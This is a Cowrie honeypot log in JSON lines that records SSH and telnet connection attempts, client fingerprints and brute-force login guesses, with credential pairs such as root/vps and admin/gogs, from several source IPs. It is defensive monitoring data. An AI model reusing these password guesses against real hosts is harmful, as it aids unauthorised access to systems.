{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:08.979270Z","src_ip":"120.48.0.142","session":"0f81ea70dfa8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.146","src_port":9581,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3f10d0f909d","protocol":"ssh","message":"New connection: 74.87.117.146:9581 (10.17.0.5:22) [session: a3f10d0f909d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:09.318125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:09.323015Z","src_ip":"74.87.117.146","session":"a3f10d0f909d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:09.347784Z","src_ip":"74.87.117.146","session":"a3f10d0f909d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"admin1234","message":"login attempt [alex/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:09.477374Z","src_ip":"74.87.117.146","session":"a3f10d0f909d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:10.504661Z","src_ip":"74.87.117.146","session":"a3f10d0f909d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.289262771606445,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:20.869741Z","src_ip":"212.55.149.117","session":"cf490ca2feff","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"vps","message":"login attempt [root/vps] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:28.853947Z","src_ip":"120.48.0.142","session":"0f81ea70dfa8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.0.142","src_port":56344,"dst_ip":"159.203.135.109","dst_port":22,"session":"73d1e4dde981","protocol":"ssh","message":"New connection: 120.48.0.142:56344 (159.203.135.109:22) [session: 73d1e4dde981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:30.897961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:30.907699Z","src_ip":"120.48.0.142","session":"73d1e4dde981","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:31.143907Z","src_ip":"120.48.0.142","session":"73d1e4dde981","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":42246,"dst_ip":"10.17.0.5","dst_port":22,"session":"dedee9cf663e","protocol":"ssh","message":"New connection: 165.227.170.113:42246 (10.17.0.5:22) [session: dedee9cf663e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:33.607719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:33.612935Z","src_ip":"165.227.170.113","session":"dedee9cf663e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:33.700506Z","src_ip":"165.227.170.113","session":"dedee9cf663e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"gogs","message":"login attempt [admin/gogs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:34.070796Z","src_ip":"165.227.170.113","session":"dedee9cf663e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:35.158750Z","src_ip":"165.227.170.113","session":"dedee9cf663e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"27.5","message":"Connection lost after 27.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:35.303590Z","src_ip":"120.48.0.142","session":"0f81ea70dfa8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"host","message":"login attempt [root/host] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:37.588927Z","src_ip":"120.48.0.142","session":"73d1e4dde981","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.9","message":"Connection lost after 7.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:38.826557Z","src_ip":"120.48.0.142","session":"73d1e4dde981","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.0.142","src_port":35476,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ae8cb74ae6d","protocol":"ssh","message":"New connection: 120.48.0.142:35476 (159.203.135.109:22) [session: 4ae8cb74ae6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:40.082390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:40.086169Z","src_ip":"120.48.0.142","session":"4ae8cb74ae6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:40.326908Z","src_ip":"120.48.0.142","session":"4ae8cb74ae6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www","message":"login attempt [root/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:43.588469Z","src_ip":"120.48.0.142","session":"4ae8cb74ae6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:44.824777Z","src_ip":"120.48.0.142","session":"4ae8cb74ae6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.0.142","src_port":40996,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab3bdcd50109","protocol":"ssh","message":"New connection: 120.48.0.142:40996 (159.203.135.109:22) [session: ab3bdcd50109]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:46.114170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:46.405948Z","src_ip":"120.48.0.142","session":"ab3bdcd50109","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:46.409736Z","src_ip":"120.48.0.142","session":"ab3bdcd50109","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"web","message":"login attempt [root/web] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:48.114958Z","src_ip":"120.48.0.142","session":"ab3bdcd50109","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:49.373136Z","src_ip":"120.48.0.142","session":"ab3bdcd50109","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.06523132324219,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:50.977011Z","src_ip":"212.55.149.117","session":"cc80e7ead798","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.0.142","src_port":45498,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc9e10570280","protocol":"ssh","message":"New connection: 120.48.0.142:45498 (159.203.135.109:22) [session: cc9e10570280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:52.692103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:52.697011Z","src_ip":"120.48.0.142","session":"cc9e10570280","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:52.940563Z","src_ip":"120.48.0.142","session":"cc9e10570280","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"default","message":"login attempt [root/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:54.423328Z","src_ip":"120.48.0.142","session":"cc9e10570280","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.0.142","src_port":51108,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fd286fed877","protocol":"ssh","message":"New connection: 120.48.0.142:51108 (159.203.135.109:22) [session: 7fd286fed877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:55.899923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:55.908959Z","src_ip":"120.48.0.142","session":"7fd286fed877","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:56.232854Z","src_ip":"120.48.0.142","session":"cc9e10570280","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:56.865174Z","src_ip":"120.48.0.142","session":"7fd286fed877","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"administrator","message":"login attempt [root/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:58.182945Z","src_ip":"120.48.0.142","session":"7fd286fed877","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:59.416103Z","src_ip":"120.48.0.142","session":"7fd286fed877","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.0.142","src_port":55144,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6cff449f948","protocol":"ssh","message":"New connection: 120.48.0.142:55144 (159.203.135.109:22) [session: f6cff449f948]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:59.643560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:02:59.970638Z","src_ip":"120.48.0.142","session":"f6cff449f948","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:03:00.783865Z","src_ip":"120.48.0.142","session":"f6cff449f948","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:03:01.545552Z","src_ip":"120.48.0.142","session":"f6cff449f948","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.146","src_port":6355,"dst_ip":"10.17.0.5","dst_port":22,"session":"dba662cda4eb","protocol":"ssh","message":"New connection: 74.87.117.146:6355 (10.17.0.5:22) [session: dba662cda4eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:03:04.681349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:03:04.689367Z","src_ip":"74.87.117.146","session":"dba662cda4eb","protocol":"ssh"}
